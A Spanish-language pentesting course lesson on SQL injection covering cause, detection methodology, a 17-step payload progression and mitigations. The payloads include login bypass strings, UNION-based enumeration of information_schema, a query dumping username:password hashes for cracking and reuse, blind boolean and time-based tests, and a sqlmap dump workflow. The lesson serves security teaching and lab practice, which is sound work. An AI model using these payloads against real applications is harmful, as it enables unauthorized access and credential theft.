

Inyeccion SQL (SQLi)

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

Una SQLi ocurre cuando la aplicación construye una consulta SQL concatenando texto que viene del usuario. Como el motor no distingue tu 'dato' del 'codigo' de la consulta, puedes cerrar la cadena original e inyectar tu propia lógica: saltarte un login, volcar tablas o, según el motor, ejecutar comandos.

El código hace query = "SELECT * FROM users WHERE name='" + input + "'". Si tu input es ' OR '1'='1', la consulta final siempre es verdadera. La causa raíz es la misma que en lfi: mezclar datos no confiables con la instrucción, en vez de usar consultas parametrizadas que separan ambos.

Modelo mental

Entrada controlada -> transformaciones -> validación -> componente final
-> sink -> efecto observable -> decisión

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

En cualquier campo que alimente una búsqueda, un login, un filtro o un id: formularios, parámetros de URL, cabeceras. Sospecha si al meter una comilla la aplicación se rompe o cambia de comportamiento.

Cómo identificarla

- Una comilla simple ' provoca un error de SQL o una página en blanco/500.
- Payloads lógicos cambian el resultado: ' OR '1'='1 devuelve más filas o entra sin password.
- La respuesta tarda distinto con un payload de tiempo (blind basada en tiempo).
- Diferencias sutiles entre una condición verdadera y una falsa (blind booleana).

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Añade una comilla simple ' al parámetro y compara la respuesta con la petición normal.

Evidencia esperada: Un error de sintaxis SQL, una página 500, o un cambio de comportamiento (más filas, login sin password) frente a la petición sin comilla.

Construcción progresiva del payload

1. Reproduce una entrada válida.

2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.
4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.
6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

'

Objetivo y contexto: Prueba de detección: una sola comilla rompe la sintaxis si el campo es inyectable.

Resultado esperado: Un error de SQL o una página 500 = probable SQLi. Si no cambia nada, prueba comilla doble o la versión numérica (sin comillas).

Capa 2: prueba documentada

' OR '1'='1

Objetivo y contexto: Bypass de login clásico: cierra la cadena y fuerza una condición siempre verdadera.

Resultado esperado: Entrar sin credenciales válidas, o la búsqueda devuelve todas las filas.

Capa 3: prueba documentada

' OR '1'='1'-- -

Objetivo y contexto: Igual que el anterior pero comenta el resto de la consulta: '-- -' (con espacio final) ignora lo que sobra, útil si queda una comilla suelta.

Resultado esperado: Login aceptado; si antes fallaba por sintaxis, el comentario lo arregla.

Capa 4: prueba documentada

admin'-- -

Objetivo y contexto: Entra como un usuario concreto (admin) comentando la comprobación de la contraseña.

Resultado esperado: Sesión iniciada como admin sin saber su contraseña.

Capa 5: prueba documentada

") OR ("1"="1

Objetivo y contexto: Variante para consultas que envuelven el valor en comillas dobles y parentesis.

Resultado esperado: Úsala cuando la comilla simple no rompe la página pero la doble sí.

Capa 6: prueba documentada

' ORDER BY 1-- -

Objetivo y contexto: Averigua el número de columnas: sube el número (1, 2, 3...) hasta que la página falle.

Resultado esperado: El último número que NO da error = número de columnas. Hace falta para el UNION.

Capa 7: prueba documentada

' UNION SELECT NULL-- -

Objetivo y contexto: Ajusta la lista de NULL al número de columnas (añade ,NULL) hasta que la página cargue sin error.

Resultado esperado: Cuando deja de dar error, el UNION funciona con ese número de columnas.

Capa 8: prueba documentada

' UNION SELECT 1,2,3-- -

Objetivo y contexto: Marca cada columna con un número para ver cuáles se reflejan en la página.

Resultado esperado: Los números que aparecen en pantalla son las columnas donde puedes extraer datos.

Capa 9: prueba documentada

```
' UNION SELECT NULL,version(),NULL-- -
```

Objetivo y contexto: Extrae la version del motor por una columna reflejada (ajusta la posicion a la que viste antes).

Resultado esperado: La version de MySQL/MariaDB; te dice que sintaxis de enumeracion usar.

Capa 10: prueba documentada

```
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- -
```

Objetivo y contexto: Lista las tablas de la base desde el catalogo information_schema (MySQL/MSSQL/Postgres).

Resultado esperado: Nombres de tablas; busca users, accounts, credentials o similar.

Capa 11: prueba documentada

```
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
```

Objetivo y contexto: Lista las columnas de una tabla concreta para saber que campos volcar.

Resultado esperado: Nombres de columnas como username, password, email.

Capa 12: prueba documentada

```
' UNION SELECT NULL,CONCAT(username,0x3a,password),NULL FROM users-- -
```

Objetivo y contexto: Vuelca usuario y hash juntos, separados por ':' (0x3a es el codigo hex de los dos puntos), en una sola columna.

Resultado esperado: Pares usuario:hash. Los hashes van a la fase de credenciales para crackear y reutilizar.

Capa 13: prueba documentada

```
' AND extractvalue(1,concat(0x7e,version()))-- -
```

Objetivo y contexto: SQLi basada en error (MySQL): fuerza que el dato aparezca dentro del propio mensaje de error.

Resultado esperado: Un error tipo 'XPath syntax error: ~<dato>' que filtra la version u otro dato que pidas.

Capa 14: prueba documentada

```
' AND 1=1-- -
```

Objetivo y contexto: Blind booleana (caso verdadero): la pagina responde normal. Comparalo con el caso 1=2.

Resultado esperado: Respuesta identica a la normal = condicion verdadera. Es tu oraculo de 'si'.

Capa 15: prueba documentada

```
' AND 1=2-- -
```

Objetivo y contexto: Blind booleana (caso falso): si la pagina cambia frente a 1=1, puedes inferir datos bit a bit.

Resultado esperado: Respuesta distinta (menos contenido, sin resultados) = condicion falsa. Con 'si' y 'no' automatiza con sqlmap.

Capa 16: prueba documentada

```
' OR SLEEP(5)-- -
```

Objetivo y contexto: Blind por tiempo (MySQL): cuando no hay reflejo ni cambio visible, mide el retardo de la respuesta.

Resultado esperado: Si la respuesta tarda ~5s, es vulnerable. En MSSQL usa '; WAITFOR DELAY '0:0:5'-- -.

Capa 17: prueba documentada

```
sqlmap -u '$URL/item?id=1' --batch --dbs
```

Objetivo y contexto: Cuando ya confirmaste SQLi a mano, sqlmap automatiza la explotacion. --batch acepta los defaults; --dbs lista las bases de datos como primera prueba.

Resultado esperado: El tipo de inyeccion (boolean, time-based, UNION) y la lista de bases. Sigue con --tables y -D <db> --dump para extraer usuarios y hashes.

Anatomía de los payloads

La primera prueba es '. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

Un error de sintaxis SQL, una pagina 500, o un cambio de comportamiento (mas filas, login sin password) frente a la petición sin comilla.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Detecta el punto: mete una comilla y observa el error o el cambio. Deduce si es numerica o entre comillas.
- Averigua el numero de columnas (ORDER BY / UNION SELECT) para poder extraer datos por UNION.
- Extrae metadatos primero (version, bases de datos, tablas, columnas) y luego los datos que te interesan (usuarios, hashes).
- Si es a ciegas, automatiza con una herramienta; los hashes que saques van a la fase de credenciales para crackear y reutilizar.

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- El campo usa consultas parametrizadas/prepared statements (la comilla no rompe nada y el comportamiento no cambia).
- El valor se valida contra un tipo estricto (entero, enum) antes de llegar a la consulta.
- El ORM escapa o tipa la entrada automaticamente sin concatenar SQL crudo.
- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

Tu entrada acaba dentro de una consulta SQL sin separar datos de código; puedes reescribir la consulta. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y condiciones.
2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook \(sqli\)](#)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.